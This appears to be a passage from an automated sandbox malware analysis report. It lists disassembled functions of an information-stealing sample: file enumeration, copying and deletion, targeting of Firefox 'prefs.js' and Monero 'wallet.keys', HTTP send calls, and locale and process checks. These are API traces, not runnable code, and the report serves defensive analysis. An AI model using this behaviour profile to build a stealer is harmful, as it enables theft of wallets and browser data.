Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 39015216ca1731792b76fcd9484c79843d1c3ee7d996ded27f30d63ebd01860d
Instruction ID: 707e75442a2c23893cc1bdc6a40f5c2c3796b4b3aad1914a574b22cac6536570
Opcode Fuzzy Hash: 39015216ca1731792b76fcd9484c79843d1c3ee7d996ded27f30d63ebd01860d
Instruction Fuzzy Hash: 5612EC72910119AAEB15FB50DC96FEEBB38BF94300F50419AB50672091EF782F49CF66

Function 00583EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00583EC3
FindFirstFileA.KERNEL32(?,?), ref: 00583EDA
StrCmpCA.SHLWAPI(?,00590FAC), ref: 00583F08
StrCmpCA.SHLWAPI(?,00590FB0), ref: 00583F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0058406C
FindClose.KERNEL32(000000FF), ref: 00584081

Strings

%s\%s, xrefs: 00583EB7

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: dec440c3e2c21561948067b7903d8b8df639964fe1b3aa27edb50fc5b3be3b62
Instruction ID: 521e7b4d43b75ca8a50e33fec445e35933a8c8cec70ebf3280ccab643d98ecc7
Opcode Fuzzy Hash: dec440c3e2c21561948067b7903d8b8df639964fe1b3aa27edb50fc5b3be3b62
Instruction Fuzzy Hash: 105149B1900219BBCB24FBB0DC49FEA777CBB84700F408688F659A6040EB759B85CF95

Function 0057F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005915B8,00590D96), ref: 0057F71E
StrCmpCA.SHLWAPI(?,005915BC), ref: 0057F76F
StrCmpCA.SHLWAPI(?,005915C0), ref: 0057F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0057FAB1
FindClose.KERNEL32(000000FF), ref: 0057FAC3

Strings

prefs.js, xrefs: 0057F812

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 49d4924e38bab5cf5f91f8eb9bfdd758ae7268d1e45609dce23ec4b02b8964d0
Instruction ID: a2eadee1942d186ac0f99530d820c4ea347b1936b004e976828e42dd8606abad
Opcode Fuzzy Hash: 49d4924e38bab5cf5f91f8eb9bfdd758ae7268d1e45609dce23ec4b02b8964d0
Instruction Fuzzy Hash: 28B154719001159BEB24FF60DC99FED7B79BF94300F4085A9E80AA6141EF346B49DFA2

Function 005716D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0059510C,?,?,?,005951B4,?,?,00000000,?,00000000), ref: 00571923
StrCmpCA.SHLWAPI(?,0059525C), ref: 00571973
StrCmpCA.SHLWAPI(?,00595304), ref: 00571989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00571D40
DeleteFileA.KERNEL32(00000000), ref: 00571DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00571E20
FindClose.KERNEL32(000000FF), ref: 00571E32

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Strings

\*.*, xrefs: 005717F1

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 19fc8b2d6e2460cc072fe7745ee13e8c52e5ac5eb6747d2d9d4133ea5ee61ee6
Instruction ID: bb3584518615097cc5cbd085e5431095fe461f0d9ba9fd30815549c8ff3355c2
Opcode Fuzzy Hash: 19fc8b2d6e2460cc072fe7745ee13e8c52e5ac5eb6747d2d9d4133ea5ee61ee6
Instruction Fuzzy Hash: 9A12F2719101199AEB15FB60DC9AEED7B78BF94300F40459AA90A72091EF346F49CFA1

Function 0057DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005914B0,00590C2A), ref: 0057DAEB
StrCmpCA.SHLWAPI(?,005914B4), ref: 0057DB33
StrCmpCA.SHLWAPI(?,005914B8), ref: 0057DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0057DDCC
FindClose.KERNEL32(000000FF), ref: 0057DDDE

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 32d536aac77381f3b459f996e4f5d4c39a31dc32fbb74acbc5b9e9e55a56a0c0
Instruction ID: a4a6958a29f94d3924ec4fa2f79abb0c842d45a3b17a440bc5a91d974f2d013c
Opcode Fuzzy Hash: 32d536aac77381f3b459f996e4f5d4c39a31dc32fbb74acbc5b9e9e55a56a0c0
Instruction Fuzzy Hash: E4913472900105A7DB14FB74EC5ADED7B7DBFC4300F408659EC0AA6145EE38AB099BA2

Function 00587B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

GetKeyboardLayoutList.USER32(00000000,00000000,005905AF), ref: 00587BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00587BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00587C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00587C62
LocalFree.KERNEL32(00000000), ref: 00587D22

Strings

/ , xrefs: 00587C7F

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: ceccecf2a2c46356b6130f930780e06264bc49777c7fc99e0d408ba6d23d9fe8
Instruction ID: 64393b62e828adce38cb181ae66201f88c71c292fa2bed3f1bf4eebd7ba49e81
Opcode Fuzzy Hash: ceccecf2a2c46356b6130f930780e06264bc49777c7fc99e0d408ba6d23d9fe8
Instruction Fuzzy Hash: 83413C71941218ABDB24EB94DC99BEDBB74FF48700F2041D9E80972191DB386F85CFA1

Function 0057E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00590D73), ref: 0057E4A2
StrCmpCA.SHLWAPI(?,005914F8), ref: 0057E4F2
StrCmpCA.SHLWAPI(?,005914FC), ref: 0057E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0057EBDF

Strings

\*.*, xrefs: 0057E44D

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 89883cc4df3dd3f55941897d84404b3588db4e589c295ea4123bcb083e419979
Instruction ID: 4c9e043aa50160c332e3407e3f98370cd29e703e2b7127e29cf1dec1818736a2
Opcode Fuzzy Hash: 89883cc4df3dd3f55941897d84404b3588db4e589c295ea4123bcb083e419979
Instruction Fuzzy Hash: C61205719101195AEB14FB70DC9AEED7778BF94300F40459AB90AB6091EF386F49CFA2

Function 00589600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0058961E
Process32First.KERNEL32(00590ACA,00000128), ref: 00589632
Process32Next.KERNEL32(00590ACA,00000128), ref: 00589647
StrCmpCA.SHLWAPI(?,00000000), ref: 0058965C
CloseHandle.KERNEL32(00590ACA), ref: 0058967A

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
